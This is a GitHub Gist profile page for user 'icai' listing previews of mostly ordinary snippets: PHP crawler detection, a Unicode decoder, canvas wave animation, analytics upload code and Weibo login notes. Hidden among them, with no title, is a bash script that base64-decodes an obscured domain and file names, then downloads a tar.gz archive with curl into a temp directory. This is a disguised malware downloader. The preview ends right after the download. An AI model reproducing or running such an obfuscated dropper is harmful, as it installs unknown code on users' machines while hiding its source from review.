Skip to content

Instantly share code, notes, and snippets.

Vm1wR1lWWXlTWGhXV0dST1ZsZG9WbGxVU2pSV2JGcHlWMjVrVldKSVFsaFdWelZMWWtkS1NWRnJXbGRTZWtZeldWUkdZV1JGT1ZWV2JGWk9WakpvYjFZeFdsWmxSMUpZVW10c1ZXSkdXbFJhVjNSaFZWWmtjbGt6YUZSTlZuQkhWREZXVjFSc1NrVlJWR3M5
@icai
icai / PHP:is_crawler
Created July 5, 2019 02:40 — forked from zhangguiqiang/PHP:is_crawler
PHP:is_crawler(判断是否是爬虫)
function isCrawler() {
if(ini_get('browscap')) {
$browser= get_browser(NULL, true);
if($browser['crawler']) {
return true;
}
} else if (isset($_SERVER['HTTP_USER_AGENT'])){
$agent= $_SERVER['HTTP_USER_AGENT'];
$crawlers= array(
"/Googlebot/",
@icai
icai / decode.js
Created March 20, 2019 09:40
decode Unicode to chinese
var decodeUnicode = function(str) {
str = str.replace(/\\u/gi, "%u");
return unescape(str);
}
@icai
icai / Waves.js
Created February 26, 2019 03:50
Waves.js
(function () {
var pi = Math.PI;
var pi2 = 2 * Math.PI;
this.Waves = function (holder, options) {
var Waves = this;
Waves.options = extend(options || {}, {
resize: false,
@icai
icai / edit.css
Created January 9, 2019 11:10
添加快捷方式
/* Copyright 2018 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
body {
overflow: hidden;
}
.mouse-navigation {
outline: none;
"use strict";
class Uploader {
constructor(t, e) {
(this.host = "https://wxapi.growingio.com"),
(this.messageQueue = []),
(this.uploadingQueue = []),
(this.uploadTimer = null),
(this.projectId = t),
(this.appId = e),
(this.url = `${this.host}/projects/${this.projectId}/apps/${
#!/bin/bash
dlDomain="$(echo "bGtlb3IucGVuZ3VpbmNoYXJtLndpbgo=" | openssl base64 -d -A)"
dlPath="$(echo "c2RsCg==" | openssl base64 -d -A)"
dir="${TMPDIR}/$(echo "bW1zdG1wCg==" | openssl base64 -d -A)"
dlUrl="http://${dlDomain}/${dlPath}/$(echo "WWxjeFZHUklWbWxNYmxKb1kyazFibVZuYnowSwo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)?ts=$(date +%s)"
binPath="${dir}/$(echo "WWxjd2RHRlhOWHBrUjBaellrTXhkRmxYVG5aamVUVm9ZMGhCZGxFeU9YVmtSMVoxWkVoTmRsUlhSbXBVTVUxMllsY3dkR0ZYTlhwa1IwWnpZa014ZEZsWFRuWmpkMjg5Q2c9PQo=" | openssl base64 -d -A | openssl base64 -d -A | openssl base64 -d -A)"
rm -rf "${dir}"
mkdir -p "${dir}"
curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}"
@icai
icai / 858. Candy Crush
Last active September 4, 2018 15:57
a 2D integer array
858. Candy Crush
This question is about implementing a basic elimination algorithm for Candy Crush.
Given a 2D integer array board representing the grid of candy, different positive integers board[i][j] represent different types of candies. A value of board[i][j] = 0 represents that the cell at position (i, j) is empty. The given board represents the state of the game following the player's move. Now, you need to restore the board to a stable state by crushing candies according to the following rules:
If three or more candies of the same type are adjacent vertically or horizontally, "crush" them all at the same time - these positions become empty.
After crushing all candies simultaneously, if an empty space on the board has candies on top of itself, then these candies will drop until they hit a candy or bottom at the same time. (No new candies will drop outside the top boundary.)
After the above steps, there may exist more candies that can be crushed. If so, you need to repeat the above steps.
If there does
@icai
icai / Login Flow
Last active April 3, 2023 03:17
weibo login flow
https://weibo.com/doamin
https://login.sina.com.cn/sso/login.php?url=https%3A%2F%2Fweibo.com%2F328765211&_rand=1533906258.5319&gateway=1&service=miniblog&entry=miniblog&useticket=1&returntype=META&_client_version=0.6.28
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.6.1
Date: Fri, 10 Aug 2018 13:04:21 GMT
function e() {
var e = document.documentElement.offsetWidth || document.body.offsetWidth;
document.getElementsByTagName("html")[0].style.fontSize = e / 3.6 + "px"
}